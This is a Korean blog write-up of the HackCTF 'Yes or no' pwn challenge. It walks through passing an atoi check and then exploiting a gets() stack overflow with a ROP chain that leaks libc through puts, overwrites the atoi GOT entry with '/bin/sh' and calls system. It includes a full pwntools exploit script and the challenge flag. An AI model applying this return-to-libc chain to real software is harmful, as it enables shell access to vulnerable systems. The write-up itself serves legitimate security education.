ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Yes or no
    CTF/HackCTF 2021. 1. 21. 20:02

    Disassembly 디스어셈블리



    main()

    main() 함수의 초반부에서는 fgets(&str, 10, stdin)과 var_8h = atoi(&str)이 호출된다.

     

    main()

    그 후에 eax에 각종 연산을 가하더니 eax==var_8h라면 gets(&str)을 호출하고, 그렇지 않다면 일부 출력문을 거친 후 함수가 종료된다. 따라서 var_8h가 eax와 같은 값을 가지도록 입력을 구성해야 gets()에서 발생하는 스택 버퍼 오버플로우를 활용할 수 있다.

    Condition eax==var_8h


    어셈블리를 살펴보면 eax에 가해지는 연산이 외부 입력에 상관없이 항상 일정하다는 것을 알 수 있다. gdb를 통해 cmp 명령어 직전의 eax 값을 구하자.

     

    eax

    eax은 0x960000, 십진수로 변환하면 9830400이다. var_8h를 eax와 같도록 해야 하므로 "9830400"을 fgets()의 입력으로 넣어주면 된다.

    p.sendlineafter("!", str(9830400))

    정상적으로 조건문을 통과한 것을 볼 수 있다.

    ROP


    조건문 이후에 호출되는 함수는 gets(&str)이 유일하다. 스택 버퍼 오버플로우를 통해 return address를 덮을 수 있는데, NX bit가 걸려 있으므로 스택에 쉘코드 삽입을 시도할 수는 없고, RTL을 이용하자니 라이브러리 주소를 모르는 상태다.

    NX enabled

     

    Libc address leak

    먼저, 라이브러리 주소를 구하기 위한 payload는 다음과 같다.

    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    
    payload = b"A"*0x1a
    payload += p64(prdi)
    payload += p64(e.got["gets"])
    payload += p64(e.plt["puts"])
    payload += p64(e.symbols["main"])
    
    p.sendlineafter("Follow me\n", payload)
    
    gets = u64(p.recvline().strip().ljust(8, b"\x00"))
    libc = gets - l.symbols["gets"]
    system = libc + l.symbols["system"]
    
    log.info("libc : " + hex(libc))

    pop rdi, ret 명령어를 수행하는 가젯을 찾아서 gets의 got를 인자로 puts()를 호출한 뒤, main()을 호출해 버퍼 오버플로우 공격을 다시 시도할 수 있도록 한다.

     

    gets의 got에는 gets의 라이브러리 주소가 적혀 있고, 라이브러리 함수들 간의 offset을 바탕으로 system의 주소 또한 구할 수 있다.

    libc address leak

    RTL

    이제 라이브러리의 주소를 알고 있으니 system()을 통한 공격을 시도할 수 있다. 이때 "/bin/sh" 문자열을 적어둘 곳이 필요한데, atoi의 got를 인자로 gets()를 호출하여 binsh를 덮어쓰면 된다. 이제 atoi의 got를 인자로 system()을 호출하면 system("/bin/sh)가 호출되므로 문제를 해결할 수 있다.

    p.sendlineafter("!", str(9830400))
    
    payload = b"A"*0x1a
    payload += p64(prdi)
    payload += p64(e.got["atoi"])
    payload += p64(e.plt["gets"])
    
    payload += p64(prdi)
    payload += p64(e.got["atoi"])
    payload += p64(system)
    
    p.sendlineafter("Follow me\n", payload)
    
    p.sendline("/bin/sh\x00")

    Code

    더보기
    from pwn import *
    
    binary = "./yes_or_no"
    libc = "./libc-2.27.so"
    server = "ctf.j0n9hyun.xyz"
    port = 3009
    
    context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    l = ELF(libc)
    r = ROP(e)
    
    # shellcode = asm(shellcraft.execve("/bin/sh",0,0))
    
    p.sendlineafter("!", str(9830400))
    
    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    
    payload = b"A"*0x1a
    payload += p64(prdi)
    payload += p64(e.got["gets"])
    payload += p64(e.plt["puts"])
    payload += p64(e.symbols["main"])
    
    p.sendlineafter("Follow me\n", payload)
    
    gets = u64(p.recvline().strip().ljust(8, b"\x00"))
    libc = gets - l.symbols["gets"]
    system = libc + l.symbols["system"]
    
    log.info("libc : " + hex(libc))
    
    p.sendlineafter("!", str(9830400))
    
    payload = b"A"*0x1a
    payload += p64(prdi)
    payload += p64(e.got["atoi"])
    payload += p64(e.plt["gets"])
    
    payload += p64(prdi)
    payload += p64(e.got["atoi"])
    payload += p64(system)
    
    p.sendlineafter("Follow me\n", payload)
    
    p.sendline("/bin/sh\x00")
    
    p.interactive()

    Flag

    HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}

    'CTF > HackCTF' 카테고리의 다른 글

    Basic_FSB  (0) 2021.01.29
    RTL_World  (0) 2021.01.21
    BOF_PIE  (0) 2021.01.21
    Offset  (0) 2021.01.21
    Simple_Overflow_ver_2  (0) 2021.01.21

    댓글

Designed by Tistory.